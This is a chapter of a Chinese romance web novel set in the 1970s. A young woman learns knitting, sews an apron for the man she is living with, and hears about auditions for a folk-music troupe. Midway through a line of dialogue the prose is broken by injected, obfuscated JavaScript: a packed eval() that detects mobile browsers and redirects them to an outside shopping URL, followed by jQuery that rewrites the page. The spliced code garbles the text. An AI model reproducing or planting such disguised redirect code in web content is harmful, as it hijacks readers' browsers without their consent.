20. 文学城独发
作品:《七零小知青假结婚后》 木门被推开发出咯吱咯吱声响,归青芫穿着厚重羽绒服,头上戴着毛绒帽子围巾。
“静姐,我来啦。”
她把手里的网兜子搁在桌上,摘下帽子围巾,漏出一颗冒凉气的头。
眼睫间还带着些许潮湿水汽。
身着一身黑色工装的女人正坐在缝纫机上做裤子。一头齐耳短发,碎发用黑色发卡别好,一丝不苟。
此时正侧头看她,声音淡淡的,“暖壶里有热水。”手上做衣服不停歇。
锋利凛冽寒意尚存。
归青芫没客气,从网兜拿出自己大茶缸,朝里面放了点桌上的茶叶。
走到桌边,拿起暖壶倒进热水,悬浮水面的干燥茶叶逐渐舒展下沉。
趁泡茶间隙,她从包里拿出毛衣朝缝纫机那儿走去。
“静姐,你看这里怎么回事?”
归青芫把毛衣递过去,毛衣中间漏了个难看的洞,整体看上去非常混乱。
“你这是漏针了。”
静姐停下手上工作,把胳膊上的套袖往上撸了撸。随即拿出钩针对准漏洞位置,捞起洞的那根线,一提一绕。
归青芫在一旁认真观摩,这样重复了几个回合,漏洞的地方已然变为平整。
她杏眼圆睁,真诚夸赞,“静姐,你好厉害。”
眼睛和脑子都还没学会,漏洞就已经补完了。
静姐面无表情解释,“纯羊毛毛线相对来说没弹性,所以你把控力度一定要均匀。”
顿了顿,继而又道,“下次可以织一下数一下,慢慢来。”
归青芫认真询问,“那你刚才那个是什么操作呀?”
静姐淡淡回答,“救针。”
她继续说,“大概思路就是把脱线从下往上织形成新线圈,用这个新线圈和漏洞左右的线连接,这样就差不多能修复了。
“你慢慢学,不急。“
归青芫点头,“好,谢谢静姐。”她把毛衣叠好,放进网兜。
茶泡好,她端起大茶缸喝了口,不由打了个轻颤,随即一股暖意蔓延全身,她拿出纸巾擤了个鼻涕,又缓了会才彻底适应屋内环境。
这毛衣她织了一个月,刚才那个位置被静姐修复好后,总算是彻底织好了。
也是挺不可思议的,她居然织了一件毛衣。
上个月她寻思找家裁缝店做两件合身的内衣,刚好这家离纺织厂家属楼近,店面不大,甚至开在不怎么起眼的位置。
但胜在屋内干净,她进屋表达了自己的诉求。很快便得到了自己想要的。
她非常满意,就想起自己家里的裤子,裤腿有点长,静姐也改的非常好。
刚好家里有缝纫机,归青芫呆着也是无聊,随口问能不能教她织东西,她可以给钱。
出乎意料的,静姐同意了,店里就她一人。
归青芫每天吃完早饭就去这儿学会织毛衣,给她无聊的日子增添乐趣。
毛衣被收好后,她坐到另一台空闲缝纫机边上,套上店里的围裙,套袖,拿出没做好的围裙开始做。
这布是静姐给她的,棉质的翠绿色。
手工活这东西不做还好,一做就格外上瘾,尤其对她这种闲着没事干的无业游民。
围裙并不难做,只是她想在上面刻字。相对来说就要麻烦些。
毕竟周齐堃经常做饭,有一件完美的围裙是非常重要的。
继而归青芫计划做一件完美的围裙来感谢他。
一开始想着在上面缝周大厨,结果老是歪掉,做废了两件围裙了。
那个大直接做成了个“十”字,“大”的那个捺好像“十”长出来的一条腿。
歪歪扭扭的字至今赫然在目。
这次她学聪明了,打算做个改良版围裙——CookerZhou.
先用粉笔头在做好的围裙上描好字,然后就开始拿缝纫机接上黑色棉线一下下对准了缝。
英文字母操作起来对于初学者归青芫同学也并不简单,但终究比中文笔画少一些。
她屏气凝神,连口水都不敢咽,深怕小动作会让字母变得不完美。
-
临近中午,归青芫把做好的完美围裙塞进网兜,和静姐告别。
静思两秒,把那两个歪扭残次品围裙也塞进网兜。
继而朝家走,等着周齐堃回来做饭。
刚把茄子块切好,门口便传来声响,是周齐堃回来了。
她身上还围着围裙,手扒在厨房门上冒头,眼角漾起笑容,“你回来啦。”
周齐堃点头“嗯”了声。
他换好拖鞋衣服,洗了个手,随即走进厨房,菜板子上是切好的,茄子,还有一块肉。
“想吃肉沫茄子?”
归青芫眨巴杏眼,朝男人点头。
这一个月都是这样,想吃什么,她就先把东西洗好,不过肉除外,油乎乎的,她一般都是准备好让周齐堃弄。
买肉的时候可以让售货员用绞肉机绞成肉馅带回来,但归青芫没这样,那个机器也不洗,内部太脏了,还不如自己拿回来切。
“出去等着吃吧。”周齐堃语气淡然,撸起袖子要开始做饭。
“等等。”归青芫小跑出去又快速回来。
她手里拿着刚做好的翠绿色围裙,递给周齐堃,小口喘着气,“这个给你。”
周齐堃眼睑上扬,面上有些意外,“你做的?”
归青芫下巴不自觉微微抬起,眼里亮晶晶的,“厉害吧。”
周齐堃眉眼带笑,回答,“厉害。”
“帮我系上。”话音刚落,颀长身子微微弯下。
突如其来的俯身凑近让她微微失神。她呆愣一瞬,舔舔唇,“哦,好。”
围裙套进男人的头,衣物摩挲声音在无声环境格外清晰,绕过男人遒劲腰间开始系结,女孩姿势仿佛从背后环抱住男人一样。
慌慌张张系好蝴蝶结,绯红从耳根蔓延至脖颈。
她蜷了蜷手指,“那我先出去了。”
周齐堃转过身,女孩顷刻间消失在厨房,唯独腰间残留的触感记录她曾停留。
女孩系的并不紧,有些松松垮垮,垂眸盯着翠绿围裙上的黑色CookerZhou,娟秀,利落。足以可见认真。
-
归青芫下午没再去裁缝店,而是去了百货大楼,她打算去找曲棉买点瑕疵布。
径直走到二楼,曲棉眼里充斥喜悦,冲她招手。
四目相对,无需言语,全靠默契。
曲棉和柜台的售货员打好招呼后,两人相约在三楼仓库门口。
她揶揄,“昨天还念叨你呢,没成想今天就来了。”
随即拉着归青芫走进仓库,“刚好昨天有一批涤纶布和棉布,你要不?”
归青芫嘴角上扬,点点头。
“你这是做衣服上瘾啦!”曲棉把布都堆在一个箱子里,拉过箱子让她挑。
归青芫摸摸头,“没办法,我太无聊了。”
曲棉侧头看她,“你会跳舞吗?”
归青芫小嘴微张,顿了下,摇头,“不会。”
继而又问,“怎么啦?”
曲棉叹口气,“我想着你要会跳舞可以去文工团试试呢。”
接着她继续说,“我表姐就是文工团的,前几天我们见面,听说文工团最近要选拔了。”
文工团?归青芫蹙眉,“那文工团只招跳舞的吗。”
曲棉点点头,随即又摇头,“也不是,还有唱歌,”她眉毛微微
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145711|195588||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
皱起,努力回想,“好像还有乐器。”
听见乐器,归青芫瞳孔不自觉放大,她放下手里的布,和曲棉凑近了点。
“乐器都包括什么?”
“好像是中阮,琵琶这些……”
“啧,好像还有柳琴,具体我也不是很清楚,反正是有民乐文工团的。”
归青芫眼前一亮,嘴角不自觉上扬。
曲棉察觉,“青芫,你会乐器啊?”
归青芫点点头。
曲棉拉住她胳膊,给她出主意,“你家那位不是春桦汽车厂的吗?”
“春桦文工团好像是汽车厂举办的,他应该能清楚些。”
“像你要是想进去,需要有推荐信的。”
归青芫眼神疑惑,“推荐信?”
曲棉点点头,“对的。”
她回答,“这种需要调查家庭背景,还需要有推荐信,你家那位帮你写加上居委会的证明应该就可以了。”
“不过也挺难进的,一年就招一个人。”
这些归青芫倒是不担心,她就担心推荐信能不能得到手。
她都不知道周齐堃居然有这么大权利,早知道早点问他好了,也不至于这段时间这么无聊。不过她好像也并没有和周齐堃透露过自己会柳琴的事。
可自己会柳琴的事情又要如何解释。她揉了揉太阳穴,打算晚上问问周齐堃。
思索片刻,她想着如果周齐堃问,那自己就说和养母学的。
没成想来买布还能得到这一消息,她难免开心。
归青芫握住曲棉的手,“谢谢你。”
“以表感谢,你这些布我都包了。”
曲棉眉毛扬起,“这么大手笔。”
“你要多少都行,不用都买。”
归青芫摇摇头,“没事,我都要了。”
一方面是感谢曲棉,另一方面这些布成色也的确不错。
顷刻间,归青芫舔了舔嘴唇,问出一个她一直以来好奇的问题。
“曲棉,你是怎么……”斟酌片刻,她继续,“弄到手的呀?”
两人认识快一个月,曲棉本身对归青芫就有好感,这时也没想着避着她。
曲棉贴着她耳边说,“这大楼经理是我舅。”
这一切就都明白了。
由于归青芫全都要了,曲棉直接把箱子送给她了,还帮她搬到门口。
中午吃饭的时候,周齐堃知道她下午要来百货大楼。
就说让她买完等自己,他顺路接她。
刚好解决了她不知道怎么搬回去的难题,曲棉和归青芫走到门口,手扶二八大杠的男人已经站那儿等着,颀长身影独树一帜。
见归青芫脑袋和脖子光秃秃露着,他把自己脖子上围巾摘下,套在她身上。
瞥见后面那箱子,他挑眉,“你买的?”
归青芫点头,男人得到肯定后搬起箱子放到车后座。对着曲棉说了句,“谢谢你帮忙了。”
曲棉摆摆手,大剌剌的,“没事。”
接着她探头,“青芫,那我回去啦。”
归青芫朝她摆摆手,“好,谢谢你啊。拜拜。”
周齐堃看了眼车后座,又瞥了眼归青芫,语气淡然,“看来没法载你回去了。”
他推着车子,“走吧,当溜达。”
静默黑夜,男人宽厚颀长身影映入眼帘,她扣紧身上的围巾,还残留淡热余温。
寒凛风中,女孩缓缓跟上男人脚步,不疾不徐,踏实缓重。
俩人今晚没做饭,在国营饭店买好饭回去吃的。
归青芫想起文工团那事,踟蹰片刻,她敲开男人的房门。
她轻咬嘴唇,仰起头缓缓开口,“周齐堃,我有件事情想找你帮忙。”

